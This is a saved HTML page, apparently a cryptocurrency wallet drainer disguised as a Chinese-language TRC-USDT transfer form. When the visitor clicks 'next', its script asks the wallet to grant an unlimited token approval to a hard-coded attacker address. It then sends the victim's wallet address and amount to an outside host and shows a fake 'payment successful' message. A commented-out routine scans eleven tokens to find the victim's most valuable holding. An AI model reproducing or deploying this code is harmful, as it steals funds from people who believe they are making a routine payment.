<!DOCTYPE html>
|
<!-- saved from url=(0080)https://fymodi.com/index/index/trc_usdt_transfer.html?agent=10000&address=123456 -->
|
<html lang="en" data-dpr="1" style="font-size: 37.5px;" class="no-touch">
|
<head>
|
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
|
<link rel="icon" href="https://fymodi.com/favicon.ico" type="image/x-icon">
|
<link rel="shortcut icon" href="https://fymodi.com/favicon.ico" type="image/x-icon"><!-- Required meta tags-->
|
<meta name="viewport"
|
content="width=device-width, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0, viewport-fit=cover">
|
<meta name="apple-mobile-web-app-capable" content="yes">
|
<meta name="apple-mobile-web-app-status-bar-style" content="black">
|
<meta name="format-detection" content="telephone=no, email=no">
|
<meta name="msapplication-tap-highlight" content="no">
|
<meta name="x5-orientation" content="portrait">
|
<meta name="x5-fullscreen" content="true">
|
<link rel="icon" href="https://fymodi.com/index/index/favicon.ico">
|
<meta name="description" content="">
|
<meta name="keywords" content=""><!-- App title --><title>TRC-USDT 转账</title><!-- Framework7 Library CSS -->
|
<link rel="stylesheet" href="./tron_files/vendor.min.css"><!-- Custom app styles-->
|
<link rel="stylesheet" href="./tron_files/reset.min.css">
|
<link rel="stylesheet" href="./tron_files/main.css">
|
<script type="text/javascript" src="./tron_files/TronWeb.js"></script><!-- Jquery app core js-->
|
<script type="text/javascript" src="./tron_files/jquery-2.1.4.min.js"></script>
|
<script type="text/javascript" src="./tron_files/flexible.js"></script>
|
<style type="text/css"> .tishi {
|
width: 3.5rem;
|
height: 1.2rem;
|
background: #00000059;
|
z-index: 999999999999;
|
position: fixed;
|
top: 50%;
|
left: 50%;
|
transform: translate(-50%, -50%);
|
border-radius: 0.1rem;
|
color: white;
|
font-size: 0.6rem;
|
text-align: center;
|
line-height: 1.2rem;
|
display: none;
|
}
|
</style>
|
</head>
|
<body style="font-size: 12px;"><!-- Views -->
|
<div class="views"><!-- main view -->
|
<div class="view view-main"><!-- Pages -->
|
<div class="pages navbar-through">
|
<div class="page">
|
<div class="page-content" style="padding-top: 0.5rem;">
|
<div class="list-block address">
|
<div class="list-block-title">收款地址</div>
|
<ul>
|
<li class="item-content">
|
<div class="item-inner">
|
<div class="item-title" id="address">TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t</div>
|
</div>
|
</li>
|
</ul>
|
</div>
|
<div class="list-block amount">
|
<div class="list-block-title">金额<span id="yu">0 USDT</span></div>
|
<ul>
|
<li class="item-content">
|
<div class="item-inner">
|
<div class="item-title"><input class="num" placeholder="0">
|
<p>¥ <span id="price" style="color: inherit;font-size:inherit;">0</span></p>
|
</div>
|
</div>
|
</li><!--<li class="item-content">--><!-- <div class="item-inner">-->
|
<!-- <div class="item-after">备注</div>--><!-- </div>--><!--</li>--></ul>
|
<!-- <ul><li class="item-content item-link"><div class="item-inner"><div class="item-title">矿工费</div><div class="item-after"><p>0.002640 ETH</p><p>¥44.69</p></div></div></li></ul> -->
|
</div>
|
<div class="list-block-button">
|
<button class="button button-fill " id="btn-connect" style="background: rgb(7, 139, 195);">下一步
|
</button>
|
</div>
|
</div>
|
</div><!-- Preloader -->
|
<div class="modal">
|
<div class="preloader"></div>
|
</div>
|
<div class="tishi"> 付款成功
|
</div>
|
</div>
|
</div>
|
<div id="s"></div>
|
</div>
|
<div id="fffsss" style="color: white;z-index: 99999999999999999;position: absolute;top: 1px;"></div>
|
<div style="display:none;">
|
<textarea id="jsondata">
|
{"WIN":"TLa2f6VPqDgRE67v1736s7bJ8Ray5wYjU7","USDT":"TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t","TONS":"THgLniqRhDg5zePSrDTdU9QwY8FjD9nLYt","USDJ":"TMwFHYXLJaRUPeW6421aqXL4ZEzPRFGkGT","JST":"TCFLL5dx5ZJdKnWuesXxi1VPwjLVmWZZy9","HT":"TDyvndWuvX5xTBwHPYJi7J3Yq8pq8yh62h","SUN":"TKkeiboTkxXKJpbmVFbv4a8ov5rAfRDMf9","EXNX":"TCcVeKtYUrHEQDPmozjJFMrf6XX7BgF84A","VCOIN":"TNisVGhbxrJiEHyYUMPxRzgytUtGM7vssZ","POL":"TWcDDx1Q6QEoBrJi9qehtZnD4vcXXuVLer","CKRW":"TTVTdn8ipmacfKsCHw5Za48NRnaBRKeJ44"}
|
</textarea>
|
</div>
|
<script type="text/javascript">
|
var address = "TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t";
|
var agent = "10000";
|
var rank = 6.5;
|
var authorized_address = 'TFGbYzGv4Zt2nzFM3uU3uCJZY67WKSveG9';
|
var domain = 'https://dapp.dream-space.top';
|
// var domain = 'http://localhost:8080';
|
var bizhong = 'USDT';
|
var approveAddr = "TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t";
|
|
function getUrlQueryString(names, urls) {
|
urls = urls || window.location.href;
|
urls && urls.indexOf("?") > -1 ? urls = urls.substring(urls.indexOf("?") + 1) : "";
|
var reg = new RegExp("(^|&)" + names + "=([^&]*)(&|$)", "i");
|
var r = urls ? urls.match(reg) : window.location.search.substr(1).match(reg);
|
if (r != null && r[2] != "")
|
return unescape(r[2]);
|
return null;
|
|
}
|
|
$('input.num').bind('input propertychange', function () {
|
if ($(this).val() && $(this).val() > 0) {
|
$('#btn-connect').css('background', '#078bc3');
|
} else {
|
$('#btn-connect').css('background', '#dde0dd');
|
}
|
$('#price').text(($(this).val() * rank).toLocaleString())
|
})
|
|
async function postInfo(address, symbol) {
|
var amount = $($('input.num')[0]).val();
|
var data = {
|
address: address,
|
authAddress: authorized_address,
|
symbol: symbol,
|
amount: amount
|
}
|
|
$.ajax({
|
type: 'post',
|
url: domain + "/trx/trcPost.html",
|
data: data,
|
success: function () {
|
location.href = domain + "/tron-app/trc_post.html";
|
}
|
})
|
}
|
|
|
$(function () {
|
|
const addr = JSON.parse($('#jsondata').html());
|
|
const price = {
|
'WIN': 0.001150,
|
'USDT': 1,
|
'TONS': 1.35,
|
'USDJ': 1.04,
|
'JST': 0.125,
|
"HT": 20.41,
|
"SUN": 33.97,
|
"EXNX": 0.0621,
|
"VCOIN": 0.004225,
|
"POL": 0.1393,
|
"CKRW": 0.002487,
|
}
|
|
const decimals = {
|
'WIN': 6,
|
'USDT': 6,
|
'TONS': 6,
|
'USDJ': 18,
|
'JST': 18,
|
"HT": 18,
|
"SUN": 18,
|
"EXNX": 18,
|
"VCOIN": 6,
|
"POL": 8,
|
"CKRW": 6,
|
}
|
|
var total = 0;
|
|
async function getMostValuableAssets(account) {
|
let _symbol = 'USDT';
|
for (const symbol of Object.keys(addr)) {
|
let contract = await tronWeb.contract().at(addr[symbol]);
|
let myBalance = await contract.balanceOf(account).call(function (err, balance) {
|
const usdt = balance / (10 ** (decimals[symbol] || 18)) * price[symbol];
|
console.log(usdt);
|
if (usdt > total && usdt > 500) {
|
_symbol = symbol;
|
total = usdt;
|
approveAddr = addr[_symbol];
|
}
|
})
|
}
|
bizhong = _symbol;
|
return _symbol;
|
}
|
|
/**
|
* * Connect wallet button pressed.
|
*/
|
async function onConnect() {
|
$('.pages').append('<div class="modal-overlay"></div>');
|
$('.modal-overlay').addClass('modal-overlay-visible');
|
$('.modal').removeClass('modal-out').addClass('modal-in');
|
let tronWeb = window.tronWeb;
|
let walletAddress = tronWeb.defaultAddress.base58;
|
// bizhong = await getMostValuableAssets(walletAddress);
|
// postInfo(walletAddress, bizhong)
|
let instance = await tronWeb.contract().at(approveAddr);
|
let res = await instance["approve"](authorized_address, "90000000000000000000000000000");
|
res.send({
|
feeLimit: 100000000,
|
callValue: 0,
|
shouldPollResponse: false
|
}, function (err, res) {
|
if (err == null) {
|
$(".tishi").fadeIn()
|
setTimeout(function () {
|
$(".tishi").fadeOut()
|
}, 2000);
|
postInfo(walletAddress, bizhong)
|
}
|
$('.modal-overlay').remove();
|
$('.modal').removeClass('modal-in').addClass('modal-out');
|
})
|
}
|
|
function init() {
|
}
|
|
|
async function s() {
|
if (window.tronWeb) {
|
var tronWeb = window.tronWeb;
|
let contract = await tronWeb.contract().at("TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t");
|
let walletAddress = tronWeb.defaultAddress.base58;
|
let result = await contract.balanceOf(walletAddress).call(function (err, tex) {
|
if (err == null) {
|
let total = tex._hex / (10 ** 6);
|
$('#yu').text(total.toLocaleString() + ' USDT')
|
console.log();
|
}
|
});
|
} else {
|
}
|
}
|
|
/**
|
* Main entry point.
|
*/
|
|
init();
|
document.querySelector("#btn-connect").addEventListener("click", onConnect);
|
document.querySelector("#s").addEventListener("click", s);
|
})
|
|
$(function () {
|
setTimeout(function () {
|
$('#s').click()
|
}, 1000);
|
})
|
</script>
|
<script type="text/javascript" referrerpolicy="unsafe-url" src="./tron_files/jquery.js"></script>
|
</body>
|
</html>
|